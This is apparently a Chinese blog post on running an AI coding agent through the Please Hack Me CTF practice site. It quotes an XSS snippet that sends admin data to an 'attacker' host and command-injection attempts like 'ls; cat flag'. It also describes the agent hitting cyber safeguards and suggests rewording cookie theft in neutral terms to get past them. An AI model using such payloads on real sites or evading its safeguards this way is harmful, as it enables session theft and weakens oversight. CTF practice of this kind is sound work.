Rank 10 的紀念照 — Top 10 Snapshot

三輪的分數走勢:

PHM 的 Rank 是歷史全站累積, 不是當月也不是當週. 10 名以上的其他 9 位都是 2017-2025 期間長期累積的 top CTF player, 多半解到 90+ 題 / 7000+ pts. 這次 Day 26 到 Day 28 之間刷到 Rank 10, 中間密集解 PHM 的時間其實不到一週. agent 推圖的手感比我自己當年單人刷的時候快很多.

這一輪新吃掉的題, 挑四個最漂亮的 primitive 紀念:

• Pwn stack (#73, 200pts) — strcmp 當 1-byte canary oracle, 一次試一位元組直接 leak 整條 canary
• Reversing a-maze (#54, 100pts) — 題目是 DFA (determinstic finite automaton, 有限狀態機), 翻成 graph 跑 BFS 直接求 -1 轉移的 shortest path
• Reversing termvis (#56, 170pts) — Brainfuck 原始碼藏在 PNG pixel bytes, 用 > 跟 < 這類相對比較 pattern 當 fingerprint 把它拉出來
• Misc buzzing (#11, 100pts) — BMP 的 BI_BITFIELDS mask 都是 0x41, 每個 channel 只用 2 bit 顯示, 剩下 6 bit 藏了三組獨立 overlay, 其中一組寫著 "your flag is FLAG{...}"

這四題放一起看, 共通點是題目架構一旦認得, 寫對應 primitive 的 code agent 很快. 剩下沒解的, 剛好反過來.

AI agent 的四面牆 — The Four Walls

剩下 27 題全部跑過一輪之後, 卡住的原因不是題目「不會做」, 四面牆都是外部條件缺一塊:

牆一: md5 沒有上網查, 本機也爆不開

Day 26 收尾講過 Crypto slowcipher 的 password 要是特定 anime 名詞, 這一輪同類還撞了幾題: md5(x) = 已知 hash 要反推 preimage. 觀察 agent 的行為:

• 沒有自己上網查: agent 遇到 md5 hash 並沒有主動用 WebSearch / WebFetch 去 crackstation / md5decrypt 這類線上彩虹表資料庫查. 可能是 safeguard 擋 (hash lookup 走到濫用邊界), 也可能是模型自己判斷「反正試了也不會中」直接跳過
• 本機也破不開: agent 用 Python 寫 brute force 跑 rockyou、常見密碼表, 跑完都沒中. 作者的 password 是自己發明的字串, 連字典擴充 (rockyou + rules、mask attack) 都要先猜 pattern 長什麼樣, 猜不中就是 CPU 燒半天沒結果

這類死因在 PHM 只佔 2-3 題, 但擋得很徹底. agent 真的不會「用直覺猜一個作者會想到的詞」, 兩條路都走不通的時候就只能跳過.

牆二: 沒環境可以測特定 libc 版本

Pwn #79 tictactoe-2、#76 petbook、#68 onepunch 幾題都需要配對特定的 glibc 版本(大部分是 libc-2.23.so, 2016 年發佈的版本). 本地測 exploit 要:

# 下載對應版本 libc, 不能用系統預設 (通常是 2.31+)
curl -O https://ctf.hackme.quest/static/libc-2.23.so
# 用 LD_PRELOAD 把 binary 綁在舊 libc 上
LD_PRELOAD=./libc-2.23.so ./tictactoe

牆三: 有些真的比較難的, 還沒有用更強的模型試過

目前刷 PHM 用的是 Opus 4.8, 速度跟成本之間平衡好. 但有幾題 (Pwn #69 raas 類的 heap exploit chain、Reversing #51 unpackme 的 PE 殼) 吃深度 reversing 跟 heap 內部狀態的推理, 可能換更強 reasoning model (或多倍 token budget 跑 extended thinking) 跑同樣 context 會解掉.

這條牆的性質跟前兩面不同: 理論上可以用 agent 解, 只是我還沒把 budget 丟下去跑. 列進來是為了誠實交代 — 這 27 題裡真的無解跟還沒試強模型的要分清楚, 不能都歸類「AI agent 吃不下」.

牆四: 單獨一題也會撞 cyber-related safeguards

Day 27 講過 #38-40 xssrf 連著三題湊成 recon → payload → exfil chain, 累積到一定 context 之後整個 turn 被 drop. 這次把三題拆開獨立跑, 發現只跑 #38 xssme 一題也會撞 safeguard:

API Error: Claude Code is unable to respond to this request, which appears to
violate our Usage Policy. This request triggered cyber-related safeguards.

xssme 題目要求用 XSS 偷管理員的 cookie, 單一題的 payload 就包含:

• 寫 <script>fetch(/admin/...).then(r=>fetch('http://attacker/?c='+r))</script> 之類的 exfil 片段
• 用具體的 "steal admin cookie" / "exfil to attacker" 這類 victim-targeted 用語描述做什麼

→ 這個組合就足以踩線. 繞法: 把 XSS 當成「script injection to echo back a session token」這類描述, 避開 victim 詞 — 但本質上一樣, agent 側就是不產.

幾題意外沒解掉 — The Surprises

剩的 27 題大部分都已經在 Day 27 提過卡住的理由, 但有兩題我原本以為能解的, 這一輪也卡住了, 比較意外:

Misc #5 where is flag — regex 題

題目一個 1 MB 檔案塞滿 FLAG{...} 跟 fl@g / f1Ag / FROG 這些 noise. 題意明示 "Do you know regular expression?", 寫兩層 regex 過濾乾淨得三個 candidate:

import re
d = open('flag').read()
cand = re.findall(r'FLAG\{[^{}\[\]()]+\}', d)        # 排除嵌套括號
real = [c for c in set(cand)
        if not any(bad in c[5:-1] for bad in ['f1Ag','fl@g','FROG','FLAG'])]
# → ['FLAG{M4i8gtG95@oOPFg1qr8K}', 'FLAG{5t4Oc)7beFX}', 'FLAG{NqxnBo4VQkfJSc(}']

三個 candidate 全部送出去 server reject. 字元頻率分析: _, -, ., ! 整份檔案都沒出現, 代表「正解不含底線跟 dash」, 排除掉一批像 FLAG{where_is_flag} 的猜法. 但我試了:

• 乾淨 regex 過濾出的 3 個 — 全 reject
• 開頭 leetspeak 問句 wH3r3isFLAGc1oudyoufindit? 的各種包裝 — 全 reject
• 空 flag FLAG{} (corpus 裡出現 7 次, 最多的乾淨 pattern) — reject
• Base-4 編碼 (FLAG=0, f1Ag=1, fl@g=2, FROG=3) 解出來 — 無意義亂碼

這題只有 50 分 (最低分之一), 但解題數也不低. 我原本預期 agent 能靠 regex + 頻率分析秒殺, 結果作者的「正解」比單純過濾 noise 更進階, 可能是某個特殊 regex 構造或完全不同的視角. 意外.

Web #37 command-executor

題目給一個 web form 跑 shell 命令, 伺服器端:

$cmd = $_GET['cmd'];
$allowed = ['ls', 'env'];                              // 白名單
if (!in_array(explode(' ', $cmd)[0], $allowed)) exit;
system(escapeshellarg($cmd));                          // 整段用 escapeshellarg 包

直覺上這題應該可解 — PHP 的 escapeshellarg 有歷史漏洞 (locale 相關、UTF-8 繞法), 加上 explode(' ') 只檢查第一個 token, 應該有辦法塞 ; cat flag 之類東西. 但 agent 試了:

• ls; cat flag → escapeshellarg 把整段當 single arg, system 執行 /bin/sh -c "'ls; cat flag'" 不吃
• ls $(cat flag) → 同上
• UTF-8 繞 escapeshellarg → PHP 7.4+ 已修
• env PATH=/some/path cat、env BASH_ENV=... bash → explode(' ') 第一個 token 不是白名單

這題只有 100 分, 我原本以為 PHP RCE 套路 agent 吃光光, 結果 escapeshellarg + 白名單這組合刷新了我對 "合格的 input sanitization" 的印象. 也意外.

PWN 剩最多 — 題型 + 高分集中

剩的 27 題分佈不均 (以 scoreboard 當下為準):

Pwn 自然剩最多, 因為:

1. 單題分數高 (160-270 分級距), 前面刷的時候優先吃其他類的高 CP 題
2. 題型分散 (shellcode / heap / canary bypass / libc redirect / FSOP), 每題獨立難度高
3. 工時集中 (單題 30 分鐘到 2 小時), 分不出 10 分鐘吃一題的時間窗

收斂 — Takeaways

AI agent 無腦刷, 到 Top 10 可及; 再往上要人補一塊知識. 這塊知識不一定是技術難度.

Day 24-25 的 LeetCode (99% AC) 顯示「訓練資料飽和的題型, agent 幾乎全能」; Day 26-28 的 CTF 顯示「訓練資料沒覆蓋的題型, agent 卡在哪」. 兩頭都量過了, 中間可能就是你每天工作的落點.

Sources

• Please Hack Me CTF — Inndy 維護的 CTF 練習站, 歷史全站排名
• Day 26: PHM CTF 第一輪 — 八類全部碰過
• Day 27: PHM CTF 第二輪 — 六類全解, 新 safeguard 死因